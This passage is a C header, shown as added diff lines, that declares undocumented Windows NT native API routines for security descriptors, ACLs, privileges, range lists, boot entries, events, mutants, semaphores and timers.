+VOID +NTAPI +RtlCopyLuid ( + PLUID DestinationLuid, + PLUID SourceLuid + ); + +VOID +NTAPI +RtlCopyLuidAndAttributesArray ( + ULONG ArrayLength, + PLUID_AND_ATTRIBUTES Source, + PLUID_AND_ATTRIBUTES Target + ); + +BOOLEAN +NTAPI +RtlAreAllAccessesGranted( + ACCESS_MASK GrantedAccess, + ACCESS_MASK DesiredAccess + ); + +BOOLEAN +NTAPI +RtlAreAnyAccessesGranted( + ACCESS_MASK GrantedAccess, + ACCESS_MASK DesiredAccess + ); + +VOID +NTAPI +RtlMapGenericMask( + PACCESS_MASK AccessMask, + PGENERIC_MAPPING GenericMapping + ); + +NTSTATUS +NTAPI +RtlCreateAcl( + _Out_ PACL Acl, + _In_ ULONG AclLength, + _In_ ULONG AclRevision + ); + +BOOLEAN +NTAPI +RtlValidAcl( + PACL Acl + ); + +NTSTATUS +NTAPI +RtlQueryInformationAcl( + PACL Acl, + PVOID AclInformation, + ULONG AclInformationLength, + ACL_INFORMATION_CLASS AclInformationClass + ); + +NTSTATUS +NTAPI +RtlSetInformationAcl( + PACL Acl, + PVOID AclInformation, + ULONG AclInformationLength, + ACL_INFORMATION_CLASS AclInformationClass + ); + +NTSTATUS +NTAPI +RtlAddAce( + PACL Acl, + ULONG AceRevision, + ULONG StartingAceIndex, + PVOID AceList, + ULONG AceListLength + ); + +NTSTATUS +NTAPI +RtlDeleteAce( + PACL Acl, + ULONG AceIndex + ); + +NTSTATUS +NTAPI +RtlGetAce( + PACL Acl, + ULONG AceIndex, + PVOID *Ace + ); + +NTSTATUS +NTAPI +RtlSetOwnerSecurityDescriptor( + _In_ _Out_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ OPTIONAL PSID Owner, + _In_ OPTIONAL BOOLEAN OwnerDefaulted + ); + +NTSTATUS +NTAPI +RtlGetOwnerSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSID *Owner, + _Out_ PBOOLEAN OwnerDefaulted + ); + +NTSTATUS +NTAPI +RtlAddAccessAllowedAce( + PACL Acl, + ULONG AceRevision, + ACCESS_MASK AccessMask, + PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAccessAllowedAceEx( + PACL Acl, + ULONG AceRevision, + ULONG AceFlags, + ACCESS_MASK AccessMask, + PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAccessDeniedAce( + PACL Acl, + ULONG AceRevision, + ACCESS_MASK AccessMask, + PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAccessDeniedAceEx( + PACL Acl, + ULONG AceRevision, + ULONG AceFlags, + ACCESS_MASK AccessMask, + PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAuditAccessAce( + PACL Acl, + ULONG AceRevision, + ACCESS_MASK AccessMask, + PSID Sid, + BOOLEAN AuditSuccess, + BOOLEAN AuditFailure + ); + +NTSTATUS +NTAPI +RtlAddAuditAccessAceEx( + PACL Acl, + ULONG AceRevision, + ULONG AceFlags, + ACCESS_MASK AccessMask, + PSID Sid, + BOOLEAN AuditSuccess, + BOOLEAN AuditFailure + ); + +NTSTATUS +NTAPI +RtlAddAccessAllowedObjectAce( + _In_ _Out_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_ GUID *ObjectTypeGuid OPTIONAL, + _In_ GUID *InheritedObjectTypeGuid OPTIONAL, + _In_ PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAccessDeniedObjectAce( + _In_ _Out_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_ GUID *ObjectTypeGuid OPTIONAL, + _In_ GUID *InheritedObjectTypeGuid OPTIONAL, + _In_ PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAuditAccessObjectAce( + _In_ _Out_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_ GUID *ObjectTypeGuid OPTIONAL, + _In_ GUID *InheritedObjectTypeGuid OPTIONAL, + _In_ PSID Sid, + BOOLEAN AuditSuccess, + BOOLEAN AuditFailure + ); + +BOOLEAN +NTAPI +RtlFirstFreeAce( + PACL Acl, + PVOID *FirstFree + ); + +NTSTATUS +NTAPI +RtlAddCompoundAce( + _In_ PACL Acl, + _In_ ULONG AceRevision, + _In_ UCHAR AceType, + _In_ ACCESS_MASK AccessMask, + _In_ PSID ServerSid, + _In_ PSID ClientSid + ); + +NTSTATUS +NTAPI +RtlCreateSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor, + ULONG Revision + ); + +NTSTATUS +NTAPI +RtlCreateSecurityDescriptorRelative( + PISECURITY_DESCRIPTOR_RELATIVE SecurityDescriptor, + ULONG Revision + ); + +BOOLEAN +NTAPI +RtlValidSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +ULONG +NTAPI +RtlLengthSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +BOOLEAN +NTAPI +RtlValidRelativeSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptorInput, + _In_ ULONG SecurityDescriptorLength, + _In_ SECURITY_INFORMATION RequiredInformation + ); + +NTSTATUS +NTAPI +RtlGetControlSecurityDescriptor ( + PSECURITY_DESCRIPTOR SecurityDescriptor, + PSECURITY_DESCRIPTOR_CONTROL Control, + PULONG Revision + ); + +NTSTATUS +NTAPI +RtlSetControlSecurityDescriptor ( + _In_ PSECURITY_DESCRIPTOR pSecurityDescriptor, + _In_ SECURITY_DESCRIPTOR_CONTROL ControlBitsOfInterest, + _In_ SECURITY_DESCRIPTOR_CONTROL ControlBitsToSet + ); + +NTSTATUS +NTAPI +RtlSetAttributesSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ SECURITY_DESCRIPTOR_CONTROL Control, + _In_ _Out_ PULONG Revision + ); + +NTSTATUS +NTAPI +RtlSetDaclSecurityDescriptor ( + PSECURITY_DESCRIPTOR SecurityDescriptor, + BOOLEAN DaclPresent, + PACL Dacl, + BOOLEAN DaclDefaulted + ); + +NTSTATUS +NTAPI +RtlGetDaclSecurityDescriptor ( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN DaclPresent, + _Out_ PACL *Dacl, + _Out_ PBOOLEAN DaclDefaulted + ); + +BOOLEAN +NTAPI +RtlGetSecurityDescriptorRMControl( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PUCHAR RMControl + ); + +VOID +NTAPI +RtlSetSecurityDescriptorRMControl( + _In_ _Out_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ PUCHAR RMControl OPTIONAL + ); + +NTSTATUS +NTAPI +RtlSetSaclSecurityDescriptor ( + PSECURITY_DESCRIPTOR SecurityDescriptor, + BOOLEAN SaclPresent, + PACL Sacl, + BOOLEAN SaclDefaulted + ); + +NTSTATUS +NTAPI +RtlGetSaclSecurityDescriptor ( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN SaclPresent, + _Out_ PACL *Sacl, + _Out_ PBOOLEAN SaclDefaulted + ); + +NTSTATUS +NTAPI +RtlSetGroupSecurityDescriptor ( + _In_ _Out_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ PSID Group OPTIONAL, + _In_ BOOLEAN GroupDefaulted OPTIONAL + ); + +NTSTATUS +NTAPI +RtlGetGroupSecurityDescriptor ( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSID *Group, + _Out_ PBOOLEAN GroupDefaulted + ); + +NTSTATUS +NTAPI +RtlMakeSelfRelativeSD ( + _In_ PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + _Out_ PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + _In_ _Out_ PULONG BufferLength + ); + +NTSTATUS +NTAPI +RtlAbsoluteToSelfRelativeSD ( + _In_ PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + _Out_ PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + _In_ _Out_ PULONG BufferLength + ); + +NTSTATUS +NTAPI +RtlSelfRelativeToAbsoluteSD ( + _In_ PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + _Out_ OPTIONAL PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + _In_ _Out_ PULONG AbsoluteSecurityDescriptorSize, + _Out_ OPTIONAL PACL Dacl, + _In_ _Out_ PULONG DaclSize, + _Out_ OPTIONAL PACL Sacl, + _In_ _Out_ PULONG SaclSize, + _Out_ OPTIONAL PSID Owner, + _In_ _Out_ PULONG OwnerSize, + _Out_ OPTIONAL PSID PrimaryGroup, + _In_ _Out_ PULONG PrimaryGroupSize + ); + +NTSTATUS +NTAPI +RtlSelfRelativeToAbsoluteSD2 ( + _In_ _Out_ PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor, + _In_ _Out_ PULONG pBufferSize + ); + +NTSTATUS +NTAPI +RtlNewSecurityGrantedAccess ( + ACCESS_MASK DesiredAccess, + PPRIVILEGE_SET Privileges, + PULONG Length, + HANDLE Token, + PGENERIC_MAPPING GenericMapping, + PACCESS_MASK RemainingDesiredAccess + ); + +NTSTATUS +NTAPI +RtlMapSecurityErrorToNtStatus ( + SECURITY_STATUS Error + ); + +NTSTATUS +NTAPI +RtlImpersonateSelf ( + _In_ SECURITY_IMPERSONATION_LEVEL ImpersonationLevel + ); + +NTSTATUS +NTAPI +RtlAdjustPrivilege ( + ULONG Privilege, + BOOLEAN Enable, + BOOLEAN Client, + PBOOLEAN WasEnabled + ); + +NTSTATUS +NTAPI +RtlAcquirePrivilege ( + PULONG Privilege, + ULONG NumPriv, + ULONG Flags, + PVOID *ReturnedState + ); + +VOID +NTAPI +RtlReleasePrivilege ( + PVOID StatePointer + ); + +VOID +NTAPI +RtlRunEncodeUnicodeString( + PUCHAR Seed OPTIONAL, + PUNICODE_STRING String + ); + +VOID +NTAPI +RtlRunDecodeUnicodeString( + UCHAR Seed, + PUNICODE_STRING String + ); + +VOID +NTAPI +RtlEraseUnicodeString( + PUNICODE_STRING String + ); + +NTSTATUS +NTAPI +RtlFindMessage( + PVOID DllHandle, + ULONG MessageTableId, + ULONG MessageLanguageId, + ULONG MessageId, + PMESSAGE_RESOURCE_ENTRY *MessageEntry + ); + +NTSTATUS +NTAPI +RtlFormatMessage( + _In_ PWSTR MessageFormat, + _In_ ULONG MaximumWidth, + _In_ BOOLEAN IgnoreInserts, + _In_ BOOLEAN ArgumentsAreAnsi, + _In_ BOOLEAN ArgumentsAreAnArray, + _In_ va_list *Arguments, + _Out_ PWSTR Buffer, + _In_ ULONG Length, + _Out_ OPTIONAL PULONG ReturnLength + ); + +NTSTATUS +NTAPI +RtlFormatMessageEx( + _In_ PWSTR MessageFormat, + _In_ ULONG MaximumWidth, + _In_ BOOLEAN IgnoreInserts, + _In_ BOOLEAN ArgumentsAreAnsi, + _In_ BOOLEAN ArgumentsAreAnArray, + _In_ va_list *Arguments, + _Out_ PWSTR Buffer, + _In_ ULONG Length, + _Out_ OPTIONAL PULONG ReturnLength, + _Out_ OPTIONAL PPARSE_MESSAGE_CONTEXT ParseContext + ); + +NTSTATUS +NTAPI +RtlInitializeRXact( + _In_ HANDLE RootRegistryKey, + _In_ BOOLEAN CommitIfNecessary, + _Out_ PRTL_RXACT_CONTEXT *RXactContext + ); + +NTSTATUS +NTAPI +RtlStartRXact( + _In_ PRTL_RXACT_CONTEXT RXactContext + ); + +NTSTATUS +NTAPI +RtlAbortRXact( + _In_ PRTL_RXACT_CONTEXT RXactContext + ); + +NTSTATUS +NTAPI +RtlAddAttributeActionToRXact( + _In_ PRTL_RXACT_CONTEXT RXactContext, + _In_ RTL_RXACT_OPERATION Operation, + _In_ PUNICODE_STRING SubKeyName, + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING AttributeName, + _In_ ULONG NewValueType, + _In_ PVOID NewValue, + _In_ ULONG NewValueLength + ); + +NTSTATUS +NTAPI +RtlAddActionToRXact( + _In_ PRTL_RXACT_CONTEXT RXactContext, + _In_ RTL_RXACT_OPERATION Operation, + _In_ PUNICODE_STRING SubKeyName, + _In_ ULONG NewKeyValueType, + _In_ PVOID NewKeyValue OPTIONAL, + _In_ ULONG NewKeyValueLength + ); + +NTSTATUS +NTAPI +RtlApplyRXact( + _In_ PRTL_RXACT_CONTEXT RXactContext + ); + +NTSTATUS +NTAPI +RtlApplyRXactNoFlush( + _In_ PRTL_RXACT_CONTEXT RXactContext + ); + +ULONG +NTAPI +RtlNtStatusToDosError ( + NTSTATUS Status + ); + +ULONG +NTAPI +RtlNtStatusToDosErrorNoTeb ( + NTSTATUS Status + ); + +PPEB +RtlGetCurrentPeb ( + VOID + ); + +NTSTATUS +NTAPI +RtlCustomCPToUnicodeN( + _In_ PCPTABLEINFO CustomCP, + _Out_ PWCH UnicodeString, + _In_ ULONG MaxBytesInUnicodeString, + _Out_ OPTIONAL PULONG BytesInUnicodeString, + _In_ PCH CustomCPString, + _In_ ULONG BytesInCustomCPString + ); + +NTSTATUS +NTAPI +RtlUnicodeToCustomCPN( + _In_ PCPTABLEINFO CustomCP, + _Out_ PCH CustomCPString, + _In_ ULONG MaxBytesInCustomCPString, + _Out_ OPTIONAL PULONG BytesInCustomCPString, + _In_ PWCH UnicodeString, + _In_ ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeToCustomCPN( + _In_ PCPTABLEINFO CustomCP, + _Out_ PCH CustomCPString, + _In_ ULONG MaxBytesInCustomCPString, + _Out_ OPTIONAL PULONG BytesInCustomCPString, + _In_ PWCH UnicodeString, + _In_ ULONG BytesInUnicodeString + ); + +VOID +NTAPI +RtlInitCodePageTable( + _In_ PUSHORT TableBase, + _Out_ PCPTABLEINFO CodePageTable + ); + +VOID +NTAPI +RtlInitNlsTables( + _In_ PUSHORT AnsiNlsBase, + _In_ PUSHORT OemNlsBase, + _In_ PUSHORT LanguageNlsBase, + _Out_ PNLSTABLEINFO TableInfo + ); + +VOID +NTAPI +RtlResetRtlTranslations( + PNLSTABLEINFO TableInfo + ); + +VOID +NTAPI +RtlGetDefaultCodePage( + _Out_ PUSHORT AnsiCodePage, + _Out_ PUSHORT OemCodePage + ); + +VOID +NTAPI +RtlInitializeRangeList( + _In_ _Out_ PRTL_RANGE_LIST RangeList + ); + +VOID +NTAPI +RtlFreeRangeList( + _In_ PRTL_RANGE_LIST RangeList + ); + +NTSTATUS +NTAPI +RtlCopyRangeList( + _Out_ PRTL_RANGE_LIST CopyRangeList, + _In_ PRTL_RANGE_LIST RangeList + ); + +NTSTATUS +NTAPI +RtlAddRange( + _In_ _Out_ PRTL_RANGE_LIST RangeList, + _In_ ULONGLONG Start, + _In_ ULONGLONG End, + _In_ UCHAR Attributes, + _In_ ULONG Flags, + _In_ PVOID UserData, OPTIONAL + _In_ PVOID Owner OPTIONAL + ); + +NTSTATUS +NTAPI +RtlDeleteRange( + _In_ _Out_ PRTL_RANGE_LIST RangeList, + _In_ ULONGLONG Start, + _In_ ULONGLONG End, + _In_ PVOID Owner + ); + +NTSTATUS +NTAPI +RtlDeleteOwnersRanges( + _In_ _Out_ PRTL_RANGE_LIST RangeList, + _In_ PVOID Owner + ); + +NTSTATUS +NTAPI +RtlFindRange( + _In_ PRTL_RANGE_LIST RangeList, + _In_ ULONGLONG Minimum, + _In_ ULONGLONG Maximum, + _In_ ULONG Length, + _In_ ULONG Alignment, + _In_ ULONG Flags, + _In_ UCHAR AttributeAvailableMask, + _In_ PVOID Context OPTIONAL, + _In_ PRTL_CONFLICT_RANGE_CALLBACK Callback OPTIONAL, + _Out_ PULONGLONG Start + ); + +NTSTATUS +NTAPI +RtlIsRangeAvailable( + _In_ PRTL_RANGE_LIST RangeList, + _In_ ULONGLONG Start, + _In_ ULONGLONG End, + _In_ ULONG Flags, + _In_ UCHAR AttributeAvailableMask, + _In_ PVOID Context OPTIONAL, + _In_ PRTL_CONFLICT_RANGE_CALLBACK Callback OPTIONAL, + _Out_ PBOOLEAN Available + ); + +NTSTATUS +NTAPI +RtlGetFirstRange( + _In_ PRTL_RANGE_LIST RangeList, + _Out_ PRTL_RANGE_LIST_ITERATOR Iterator, + _Out_ PRTL_RANGE *Range + ); + +NTSTATUS +NTAPI +RtlGetLastRange( + _In_ PRTL_RANGE_LIST RangeList, + _Out_ PRTL_RANGE_LIST_ITERATOR Iterator, + _Out_ PRTL_RANGE *Range + ); + +NTSTATUS +NTAPI +RtlGetNextRange( + _In_ _Out_ PRTL_RANGE_LIST_ITERATOR Iterator, + _Out_ PRTL_RANGE *Range, + _In_ BOOLEAN MoveForwards + ); + +NTSTATUS +NTAPI +RtlMergeRangeLists( + _Out_ PRTL_RANGE_LIST MergedRangeList, + _In_ PRTL_RANGE_LIST RangeList1, + _In_ PRTL_RANGE_LIST RangeList2, + _In_ ULONG Flags + ); + +NTSTATUS +NTAPI +RtlInvertRangeList( + _Out_ PRTL_RANGE_LIST InvertedRangeList, + _In_ PRTL_RANGE_LIST RangeList + ); + +NTSTATUS +NTAPI +RtlVolumeDeviceToDosName( + _In_ PVOID VolumeDeviceObject, + _Out_ PUNICODE_STRING DosName + ); + +NTSTATUS +NTAPI +RtlCreateSystemVolumeInformationFolder( + _In_ PUNICODE_STRING VolumeRootPath + ); + +#if defined(_WINNT_) && (_MSC_VER < 1300) +typedef POSVERSIONINFOW PRTL_OSVERSIONINFOW; +typedef POSVERSIONINFOEXW PRTL_OSVERSIONINFOEXW; + +typedef LONG (NTAPI *PVECTORED_EXCEPTION_HANDLER)( struct _EXCEPTION_POINTERS *ExceptionInfo ); +typedef VOID (NTAPI * APC_CALLBACK_FUNCTION) (DWORD , PVOID, PVOID); + +typedef const GUID *LPCGUID; + +#endif + +NTSTATUS +RtlGetVersion( + _Out_ PRTL_OSVERSIONINFOW lpVersionInformation + ); + +NTSTATUS +RtlVerifyVersionInfo( + _In_ PRTL_OSVERSIONINFOEXW VersionInfo, + _In_ ULONG TypeMask, + _In_ ULONGLONG ConditionMask + ); + +BOOLEAN +RtlFlushSecureMemoryCache( + PVOID lpAddr, + SIZE_T size + ); + +LONG +NTAPI +RtlGetLastWin32Error( + VOID + ); + +VOID +NTAPI +RtlSetLastWin32ErrorAndNtStatusFromNtStatus( + NTSTATUS Status + ); + +VOID +NTAPI +RtlSetLastWin32Error( + LONG Win32Error + ); + +VOID +NTAPI +RtlRestoreLastWin32Error( + LONG Win32Error + ); + +NTSTATUS +NTAPI +RtlGetSetBootStatusData( + _In_ HANDLE Handle, + _In_ BOOLEAN Get, + _In_ RTL_BSD_ITEM_TYPE DataItem, + _In_ PVOID DataBuffer, + _In_ ULONG DataBufferLength, + _Out_ PULONG ByteRead OPTIONAL + ); + +NTSTATUS +NTAPI +RtlLockBootStatusData( + _Out_ PHANDLE BootStatusDataHandle + ); + +VOID +NTAPI +RtlUnlockBootStatusData( + _In_ HANDLE BootStatusDataHandle + ); + +NTSTATUS +NTAPI +RtlCreateBootStatusDataFile( + VOID + ); + +NTSTATUS NTAPI RtlCreateTimerQueue ( + PHANDLE TimerQueueHandle +); +// + +// +// begin_ntapi +NTSTATUS +NTAPI +NtDelayExecution( + _In_ BOOLEAN Alertable, + _In_ PLARGE_INTEGER DelayInterval + ); + + +NTSTATUS +NTAPI +NtQuerySystemEnvironmentValue ( + _In_ PUNICODE_STRING VariableName, + _Out_ PWSTR VariableValue, + _In_ USHORT ValueLength, + _Out_ OPTIONAL PUSHORT ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetSystemEnvironmentValue ( + _In_ PUNICODE_STRING VariableName, + _In_ PUNICODE_STRING VariableValue + ); + + +NTSTATUS +NTAPI +NtQuerySystemEnvironmentValueEx ( + _In_ PUNICODE_STRING VariableName, + _In_ LPGUID VendorGuid, + _Out_ OPTIONAL PVOID Value, + _In_ _Out_ PULONG ValueLength, + _Out_ OPTIONAL PULONG Attributes + ); + + +NTSTATUS +NTAPI +NtSetSystemEnvironmentValueEx ( + _In_ PUNICODE_STRING VariableName, + _In_ LPGUID VendorGuid, + _In_ OPTIONAL PVOID Value, + _In_ ULONG ValueLength, + _In_ ULONG Attributes + ); + + +NTSTATUS +NTAPI +NtEnumerateSystemEnvironmentValuesEx ( + _In_ ULONG InformationClass, + _Out_ PVOID Buffer, + _In_ _Out_ PULONG BufferLength + ); + + +NTSTATUS +NTAPI +NtAddBootEntry ( + _In_ PBOOT_ENTRY BootEntry, + _Out_ OPTIONAL PULONG Id + ); + + +NTSTATUS +NTAPI +NtDeleteBootEntry ( + _In_ ULONG Id + ); + + +NTSTATUS +NTAPI +NtModifyBootEntry ( + _In_ PBOOT_ENTRY BootEntry + ); + + +NTSTATUS +NTAPI +NtEnumerateBootEntries ( + _Out_ OPTIONAL PVOID Buffer, + _In_ _Out_ PULONG BufferLength + ); + + +NTSTATUS +NTAPI +NtQueryBootEntryOrder ( + _Out_ OPTIONAL PULONG Ids, + _In_ _Out_ PULONG Count + ); + + +NTSTATUS +NTAPI +NtSetBootEntryOrder ( + _In_ PULONG Ids, + _In_ ULONG Count + ); + + +NTSTATUS +NTAPI +NtQueryBootOptions ( + _Out_ OPTIONAL PBOOT_OPTIONS BootOptions, + _In_ _Out_ PULONG BootOptionsLength + ); + + +NTSTATUS +NTAPI +NtSetBootOptions ( + _In_ PBOOT_OPTIONS BootOptions, + _In_ ULONG FieldsToChange + ); + + +NTSTATUS +NTAPI +NtTranslateFilePath ( + _In_ PFILE_PATH InputFilePath, + _In_ ULONG OutputType, + _Out_ OPTIONAL PFILE_PATH OutputFilePath, + _In_ _Out_ OPTIONAL PULONG OutputFilePathLength + ); + + +NTSTATUS +NTAPI +NtAddDriverEntry ( + _In_ PEFI_DRIVER_ENTRY DriverEntry, + _Out_ OPTIONAL PULONG Id + ); + + +NTSTATUS +NTAPI +NtDeleteDriverEntry ( + _In_ ULONG Id + ); + + +NTSTATUS +NTAPI +NtModifyDriverEntry ( + _In_ PEFI_DRIVER_ENTRY DriverEntry + ); + + +NTSTATUS +NTAPI +NtEnumerateDriverEntries ( + _Out_ PVOID Buffer, + _In_ _Out_ PULONG BufferLength + ); + + +NTSTATUS +NTAPI +NtQueryDriverEntryOrder ( + _Out_ PULONG Ids, + _In_ _Out_ PULONG Count + ); + + +NTSTATUS +NTAPI +NtSetDriverEntryOrder ( + _In_ PULONG Ids, + _In_ ULONG Count + ); + + +NTSTATUS +NTAPI +NtClearEvent ( + _In_ HANDLE EventHandle + ); + + +NTSTATUS +NTAPI +NtCreateEvent ( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ EVENT_TYPE EventType, + _In_ BOOLEAN InitialState + ); + + +NTSTATUS +NTAPI NtCreateThreadEx ( + PHANDLE hThread, + ACCESS_MASK DesiredAccess, + PVOID ObjectAttributes, + HANDLE ProcessHandle, + PVOID lpStartAddress, + PVOID lpParameter, + ULONG Flags, + SIZE_T StackZeroBits, + SIZE_T SizeOfStackCommit, + SIZE_T SizeOfStackReserve, + PVOID lpBytesBuffer +); + +NTSTATUS +NTAPI +NtOpenEvent ( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtPulseEvent ( + _In_ HANDLE EventHandle, + _Out_ OPTIONAL PLONG PreviousState + ); + + +NTSTATUS +NTAPI +NtQueryEvent ( + _In_ HANDLE EventHandle, + _In_ EVENT_INFORMATION_CLASS EventInformationClass, + _Out_ PVOID EventInformation, + _In_ ULONG EventInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtResetEvent ( + _In_ HANDLE EventHandle, + _Out_ OPTIONAL PLONG PreviousState + ); + + +NTSTATUS +NTAPI +NtSetEvent ( + _In_ HANDLE EventHandle, + _Out_ OPTIONAL PLONG PreviousState + ); + + +NTSTATUS +NTAPI +NtSetEventBoostPriority ( + _In_ HANDLE EventHandle + ); + + +NTSTATUS +NTAPI +NtCreateEventPair ( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtOpenEventPair ( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtWaitLowEventPair ( + _In_ HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtWaitHighEventPair ( + _In_ HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtSetLowWaitHighEventPair ( + _In_ HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtSetHighWaitLowEventPair ( + _In_ HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtSetLowEventPair ( + _In_ HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtSetHighEventPair ( + _In_ HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtCreateMutant ( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN InitialOwner + ); + + +NTSTATUS +NTAPI +NtOpenMutant ( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQueryMutant ( + _In_ HANDLE MutantHandle, + _In_ MUTANT_INFORMATION_CLASS MutantInformationClass, + _Out_ PVOID MutantInformation, + _In_ ULONG MutantInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtReleaseMutant ( + _In_ HANDLE MutantHandle, + _Out_ OPTIONAL PLONG PreviousCount + ); + + +NTSTATUS +NTAPI +NtCreateSemaphore ( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ LONG InitialCount, + _In_ LONG MaximumCount + ); + + +NTSTATUS +NTAPI +NtOpenSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQuerySemaphore ( + _In_ HANDLE SemaphoreHandle, + _In_ SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + _Out_ PVOID SemaphoreInformation, + _In_ ULONG SemaphoreInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtReleaseSemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ LONG ReleaseCount, + _Out_ OPTIONAL PLONG PreviousCount + ); + + +NTSTATUS +NTAPI +NtCreateTimer ( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TIMER_TYPE TimerType + ); + + +NTSTATUS +NTAPI +NtOpenTimer ( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtCancelTimer ( + _In_ HANDLE TimerHandle, + _Out_ OPTIONAL PBOOLEAN CurrentState + ); + + +NTSTATUS +NTAPI +NtQueryTimer ( + _In_ HANDLE TimerHandle, + _In_ TIMER_INFORMATION_CLASS TimerInformationClass, + _Out_ PVOID TimerInformation, + _In_ ULONG TimerInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetTimer ( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_ OPTIONAL PTIMER_APC_ROUTINE TimerApcRoutine, + _In_ OPTIONAL PVOID TimerContext, + _In_ BOOLEAN ResumeTimer, + _In_ OPTIONAL LONG Period, + _Out_ OPTIONAL PBOOLEAN PreviousState + ); + + +NTSTATUS +NTAPI +NtQuerySystemTime ( + _Out_ PLARGE_INTEGER SystemTime + ); + + +NTSTATUS +NTAPI +NtSetSystemTime ( + _In_ OPTIONAL PLARGE_INTEGER SystemTime, + _Out_ OPTIONAL PLARGE_INTEGER PreviousTime + ); + + +NTSTATUS +NTAPI +NtQueryTimerResolution ( + _Out_ PULONG MaximumTime, + _Out_ PULONG MinimumTime, + _Out_ PULONG CurrentTime + ); + + +NTSTATUS +NTAPI +NtSetTimerResolution ( + _In_ ULONG DesiredTime, + _In_ BOOLEAN SetResolution, + _Out_ PULONG ActualTime + ); + + +NTSTATUS +NTAPI +NtAllocateLocallyUniqueId ( + _Out_ PLUID Luid + ); + + +NTSTATUS +NTAPI +NtSetUuidSeed ( + _In_ PCHAR Seed + ); + + +NTSTATUS +NTAPI +NtAllocateUuids ( + _Out_ PULARGE_INTEGER Time, + _Out_ PULONG Range, + _Out_ PULONG Sequence, + _Out_ PCHAR Seed + ); + + +NTSTATUS +NTAPI +NtCreateProfile ( + _Out_ PHANDLE ProfileHandle, + _In_ HANDLE Process OPTIONAL, + _In_ PVOID ProfileBase, + _In_ SIZE_T ProfileSize, + _In_ ULONG BucketSize, + _In_ PULONG Buffer, + _In_ ULONG BufferSize, + _In_ KPROFILE_SOURCE ProfileSource, + _In_ KAFFINITY Affinity + ); + + 